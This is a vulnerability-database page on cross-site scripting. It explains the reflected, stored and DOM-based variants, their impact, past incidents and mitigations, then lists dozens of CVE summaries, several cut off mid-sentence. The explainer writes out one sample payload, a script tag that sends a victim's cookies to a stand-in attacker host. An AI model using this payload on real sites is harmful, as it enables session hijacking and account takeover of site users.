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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39150)

EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

ID numbers displayed in the quiz grading report required additional sanitizing to prevent a stored XSS risk. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Moodle Enterprise Linux +1
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Wiki comments required additional sanitizing and access restrictions to prevent a stored XSS risk and potential IDOR risk. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Moodle Enterprise Linux +1
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The CSV grade import method contained an XSS risk for users importing the spreadsheet, if it contained unsafe content. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Moodle
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability in NASA Open MCT (aka openmct) through 3.1.0 allows attackers to run arbitrary code via the new component feature in the flexibleLayout plugin. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Openmct
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Simple Site Verify
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross Site Scripting vulnerability in Combodo iTop v.3.1.0-2-11973 allows a local attacker to obtain sensitive information via a crafted script to the attrib_manager_id parameter in the General. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Itop
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross Site Scripting vulnerability in MLDB.ai v.2017.04.17.0 allows a remote attacker to execute arbitrary code via a crafted payload to the public_html/doc/index.html. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

RCE XSS Machine Learning Database
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Jaspersoft Clarity PPM version 14.3.0.298 was discovered to contain an arbitrary file upload vulnerability via the Profile Picture Upload function. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

File Upload XSS Clarity
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

HCL Connections is vulnerable to reflected cross-site scripting (XSS) where an attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user after. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Connections
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Fides is an open-source privacy engineering platform for managing the fulfillment of data privacy requests in your runtime environment, and the enforcement of privacy regulations in your code. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

RCE XSS Fides
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM This Month

A vulnerability in Bainternet ShortCodes UI shortcodes-ui.9.8. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

A vulnerability in Vyas Dipen Download Top 25 Social Icons top-25-social-icons.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

A vulnerability in PluginOps Layer Slider slider-slideshow.1.9.7. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

A vulnerability in PluginOps Social Feed | All social media in one place add-facebook.5.4.6. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

A vulnerability in Nks Post Sliders & Post Grids post-slider-carousel.0.20. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

A vulnerability in WP Map Plugins Basic Interactive World Map basic-interactive-world-map.0. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Auth. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Apollo13 Framework Extensions
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

A vulnerability in Northern Beaches Websites IdeaPush ideapush.52. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Microweber CMS version 2.0.1 is vulnerable to stored Cross Site Scripting (XSS) via the profile picture file upload functionality. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

File Upload XSS Microweber
NVD GitHub
EPSS 0% CVSS 7.1
HIGH This Week

A vulnerability in shanevcloudnet360 Download CloudNet360 cloudnet-sync.2.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

A vulnerability in sahumedia SAHU TikTok Pixel for E-Commerce sahu-tiktok-pixel.2.2. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Auth. (contributor+) Stored Cross-Site Scripting (XSS) vulnerability in D. Relton Medialist plugin <= 1.3.9 versions.

XSS
NVD VulDB
EPSS 0% CVSS 7.1
HIGH This Week

A vulnerability in Ashish Ajani WP Simple HTML Sitemap wp-simple-html-sitemap.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Unauth. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Flowfact
NVD
EPSS 0% CVSS 7.1
HIGH This Week

A vulnerability in ctltwp User Avatar user-avatar.4.11. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

A vulnerability in Add to Calendar Add to Calendar Button add-to-calendar-button.5.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

A vulnerability in HelgaTheViking Simple User Listing simple-user-listing.9.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting vulnerability in timetec AWDMS v.2.0 allows an attacker to obtain sensitive information via a crafted payload to the remark parameter of the New Zone function. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Auto Web Based Database Management System
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

YugabyteDB is vulnerable to cross site scripting (XSS) via log injection. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Yugabytedb
NVD
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The Amazonify plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 0.8.1 due to insufficient input sanitization and output. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress CSRF +1
NVD VulDB
EPSS 0% CVSS 4.3
MEDIUM This Month

A flaw was found in Quay. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Quay
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Squidex is an open source headless CMS and content management hub. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Squidex
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Squidex is an open source headless CMS and content management hub. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

Privilege Escalation XSS Squidex
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Slide Anything Responsive Content Html Slider And Carousel
NVD
EPSS 54% 4.3 CVSS 6.1
MEDIUM POC THREAT This Month

Cross Site Scripting vulnerability in Wonder CMS v.3.2.0 thru v.3.4.2 allows a remote attacker to execute arbitrary code via a crafted script uploaded to the installModule component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and EPSS exploitation probability 54.3%.

XSS RCE Wondercms
NVD GitHub Exploit-DB VulDB
EPSS 0% CVSS 6.4
MEDIUM POC PATCH This Month

The Gift Up Gift Cards for WordPress and WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'giftup' shortcode in all versions up to, and including, 2.20.1. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS WordPress Gift Up Gift Cards For Wordpress And Woocommerce
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM POC This Month

The Featured Image Caption plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode and post meta in all versions up to, and including, 0.8.10 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Featured Image Caption
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM POC This Month

The Social Feed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'socialfeed' shortcode in all versions up to, and including, 1.5.4.6 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Social Feed
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM POC This Month

The SendPress Newsletters plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 1.22.3.31 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Sendpress
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Interact: Embed A Quiz On Your Site plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'interact-quiz' shortcode in all versions up to, and including, 3.0.7 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Interact
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Bitly's plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpbitly' shortcode in all versions up to, and including, 2.7.1 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Bitly
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The QR Code Tag plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'qrcodetag' shortcode in versions up to, and including, 1.0 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Qr Code Tag
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Simple Like Page Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'sfp-page-plugin' shortcode in versions up to, and including, 1.5.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Simple Like Page
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Social Sharing Plugin - Social Warfare plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'social_warfare' shortcode in versions up to, and including, 4.4.3 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Social Warfare
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Telephone Number Linker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'telnumlink' shortcode in all versions up to, and including, 1.2 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Telephone Number Linker
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The WP MapIt plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wp_mapit' shortcode in all versions up to, and including, 2.7.1 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Wp Mapit
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The ImageMapper plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'imagemap' shortcode in versions up to, and including, 1.2.6 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Imagemapper
NVD VulDB
EPSS 0% CVSS 7.1
HIGH This Week

Unauth. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Wpdbspringclean
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Ziteboard Online Whiteboard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ziteboard' shortcode in versions up to, and including, 2.9.9 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Ziteboard
NVD VulDB
EPSS 19% CVSS 5.4
MEDIUM PATCH This Month

A vulnerability in Veeam ONE allows an unprivileged user who has access to the Veeam ONE Web Client the ability to acquire the NTLM hash of the account used by the Veeam ONE Reporting Service. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS One
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability in BootBox Bootbox.js v.3.2 through 6.0 allows a remote attacker to execute arbitrary code via a crafted payload to alert(), confirm(), prompt() functions. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Bootbox
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository pkp/pkp-lib prior to 3.3.0-16. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pkp Web Application Library
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository pkp/pkp-lib prior to 3.3.0-16. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pkp Web Application Library
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Cross-site Scripting in GitHub repository pkp/pkp-lib prior to 3.3.0-16. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pkp Web Application Library
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross Site Scripting vulnerability in Mybb Mybb Forums v.1.8.33 allows a local attacker to execute arbitrary code via the theme Name parameter in the theme management component. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

RCE XSS Mybb
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Proofpoint Enterprise Protection contains a stored XSS vulnerability in the AdminUI. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Enterprise Protection
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The URL Shortify WordPress plugin before 1.7.9.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Url Shortify
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Ninja Forms Contact Form WordPress plugin before 3.6.34 does not sanitize and escape its label fields, which could allow high privilege users such as admin to perform Stored XSS attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Ninja Forms
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Awesome Support WordPress plugin before 6.1.5 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Awesome Support
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The User Registration WordPress plugin before 3.0.4.2 does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS User Registration
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The WP Discord Invite WordPress plugin before 2.5.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Discord Invite
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Simple Table Manager WordPress plugin through 1.5.6 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Simple Table Manager
NVD GitHub WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Responsive Pricing Table WordPress plugin before 5.1.8 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Responsive Pricing Table
NVD WPScan
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Xwiki
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

MyBB is a free and open source forum software. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Mybb
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Rapid7 Velociraptor versions prior to 0.7.0-4 suffer from a reflected cross site scripting vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Velociraptor
NVD GitHub
EPSS 0% CVSS 7.1
HIGH This Week

Unauth. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Wpdiscuz
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

A vulnerability in Collins Agbonghama Admin Bar & Dashboard Access Control admin-bar-dashboard-control.2.8. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) leading to a Stored Cross-Site Scripting (XSS) vulnerability in Nazmul Hossain Nihal Login Screen Manager plugin <= 3.5.2 versions. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS CSRF Login Screen Manager
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

A vulnerability in Elementor Linker linker.2.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

A vulnerability in Ankit Singla Slick Popup slick-popup.7.14. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

A vulnerability in Josh Kohlbach Store Exporter woocommerce-exporter.7.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Auth. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Pre Orders For Woocommerce
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

A vulnerability in Chris Yee MomentoPress for Momento360 cmyee-momentopress.0.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

A vulnerability in pixelgrade Comments Ratings comments-ratings.1.7. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Roundcube 1.5.x before 1.5.6 and 1.6.x before 1.6.5 allows XSS via a Content-Type or Content-Disposition header (used for attachment preview or download). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Webmail Fedora +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Redmine before 4.2.11 and 5.0.x before 5.0.6 allows XSS via thumbnails. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Redmine
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Redmine before 4.2.11 and 5.0.x before 5.0.6 allows XSS in the Textile formatter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Redmine
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Redmine before 4.2.11 and 5.0.x before 5.0.6 allows XSS in a Markdown formatter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Redmine
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross Site Scripting (XSS) vulnerability in Hillstone Next Generation FireWall SG-6000-e3960 v.5.5 allows a remote attacker to execute arbitrary code via the use front-end filtering instead of. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

RCE XSS Sc 6000 E3960 Firmware
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The Digirisk plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'current_group_id' parameter in version 6.0.0.0 due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Digirisk
NVD
EPSS 0% CVSS 6.4
MEDIUM POC PATCH This Month

The SEO Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'slider' shortcode and post meta in all versions up to, and including, 1.1.0 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS WordPress Seo Slider
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

A Cross-Site Scripting vulnerability has been detected in WPN-XM Serverstack affecting version 0.8.6. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Wpn Xm
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

An issue was discovered in MediaWiki before 1.35.12, 1.36.x through 1.39.x before 1.39.5, and 1.40.x before 1.40.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Mediawiki
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Rogic No-Code Database Builder's file uploading function has insufficient filtering for special characters. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Enterprise Cloud Database
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM CICS TX Standard 11.1, Advanced 10.1, 11.1, and TXSeries for Multiplatforms 8.1, 8.2, 9.1 are vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Txseries For Multiplatforms +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in Campcodes Simple Student Information System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Simple Student Information System
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Reportico 7.1.21 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Reportico
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Documents operations, in this case "drawing", could be manipulated to contain invalid data types, possibly script code. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

RCE XSS Open Xchange Appsuite
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

